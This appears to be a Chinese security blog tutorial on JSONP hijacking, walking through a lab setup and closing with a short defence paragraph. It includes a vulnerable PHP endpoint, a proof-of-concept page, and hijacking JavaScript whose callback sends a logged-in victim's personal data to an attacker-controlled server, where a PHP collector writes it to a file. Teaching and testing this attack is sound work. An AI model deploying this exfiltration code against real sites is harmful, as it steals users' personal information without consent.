您当前的位置: 首页 > 技术文章 > 编程语言

JSONP漏洞分析及利用方式

作者: 时间:2023-04-14阅读数:人阅读

JSONP漏洞分析及利用方式

漏洞原理

jSONP 的最基本的原理是:动态添加一个< script >标签,而 script 标签的 src 属性是没有跨域的限制的。 由于同源策略的限制,XmlHttpRequest 只允许请求当前源(域名、协议、端口都相同)的资源,如果要进行跨域请求, 我们可以通过使用 html 的 script 标记来进行跨域请求,并在响应中返回要执行的 script 代码,其中可以直接使用 JSON 传递 javascript 对象。

考虑这样一种情况,存在两个网站 A 和 B,用户在网站 B 上注册并且填写了自己的用户名,手机号,身份证号等信息,并且网站 B 存在一个 jsonp 接口,用户在访问网站 B 的时候。这个 jsonp 接口会返回用户的个人信息,并在网站 B 的 html 页面上进行显示。如果网站 B 对此 jsonp 接口的来源验证存在漏洞,那么当 用户访问网站 A 时,网站 A 便可以利用此漏洞进行 JSONP 劫持来获取用户的信息。
在这里插入图片描述


攻击方法

攻击方法与 csrf 类似,都是需要用户登录帐号,身份认证还没有被消除的情况下访问攻击者精心设计好的
的页面。就会获取 json 数据,把 json 数据发送给攻击者。寻找敏感 json 数据 api 接口,构造恶意的代码。
发送给用户,用户访问有恶意的页面,数据会被劫持发送到远程服务器。


jsonp 漏洞攻击案例

攻击机IP:172.20.10.4

靶 机IP:172.20.10.5

相关文件:

user.php(存在漏洞的页面,存放在靶机Web目录)

json.html(漏洞演示的页面,存放在攻击机Web目录)

1.php(漏洞利用的页面,存放在攻击机Web目录)


jsonp漏洞代码分析

user.php 设置头响应是 json 文件,存在可控参数 callback

<?php 
header('Content-type: application/json');
$callback = $_GET['callback'];
print $callback.'({"id":"1","name":"gh0st","email":"gh0st@test.com"});';
?>

user.php 是 json 文件,存在用户的敏感信息。
在这里插入图片描述


jsonp攻击步骤

编写json.html对漏洞进行初步验证:

将callback 设置为 jsonp2,访问该页面时会调用jsonp2 函数,然后会触发弹窗用户信息。

<!DOCTYPE html>
<html>
  <head>
    <meta charset="utf-8">
    <title></title>
    <script src="http://apps.bdimg.com/libs/jquery/1.10.2/jquery.min.js"></script>
  </head>
  <body>
    <script>
      function jsonp2(data){
        alert(JSON.stringify(data));
      }
    </script>
    <script src="http://172.20.10.5/user.php?callback=jsonp2"></script>
  </body>
</html>

访问 json.html 会得到账号和邮箱等敏感信息。
在这里插入图片描述
攻击机创建以下php文件,作用是远程文件写入

<?php
if ($_GET['file']) {
  file_put_contents('json.txt', $_GET['file']);
}
?>
jsonp 劫持代码
<!DOCTYPE html>
<html>

<head>
  <meta charset="UTF-8">
  <title></title>
  <script src="http://apps.bdimg.com/libs/jquery/1.10.2/jquery.min.js"></script>
  <script>
    function test(data) {
      //alert(v.name);
      var xmlhttp = new XMLHttpRequest();
      var url = "http://172.20.10.4/1.php?file=" + JSON.stringify(data);
      xmlhttp.open("GET", url, true);
      xmlhttp.send();
    }
  </script>
  <script src="http://172.20.10.5/user.php?callback=test"></script>
</head>

<body>
</body>

</html>

当受害人登入网站之后访问这个页面时,会自动把接口 user.php 的敏感信息发送到远程服务器上
在这里插入图片描述
获取到的信息就会在远程服务器上生成 json.txt
在这里插入图片描述在这里插入图片描述

jsonp 防御方案

json 正确的 http 头输出尽量避免跨域的数据传输,对于同域的数据传输使用 xmlhttp 的方式作为数据获取的方式,依赖于 javascript 在浏览器域里的安全性保护数据,如果是跨域的数据传输,必须要对敏感的数据获取做权限认证。

本站所有文章、数据、图片均来自互联网,一切版权均归源网站或源作者所有。

如果侵犯了你的权益请来信告知我们删除。邮箱:licqi@yunshuaiweb.com

加载中~
如果您对我们的成果表示认同并且觉得对你有所帮助可以给我们捐赠。您的帮助是对我们最大的支持和动力!
捐赠我们
扫码支持 扫码支持
扫码捐赠,你说多少就多少
2
5
10
20
50
自定义
您当前余额:元
支付宝
微信
余额

打开支付宝扫一扫,即可进行扫码捐赠哦

打开微信扫一扫,即可进行扫码捐赠哦

打开QQ钱包扫一扫,即可进行扫码捐赠哦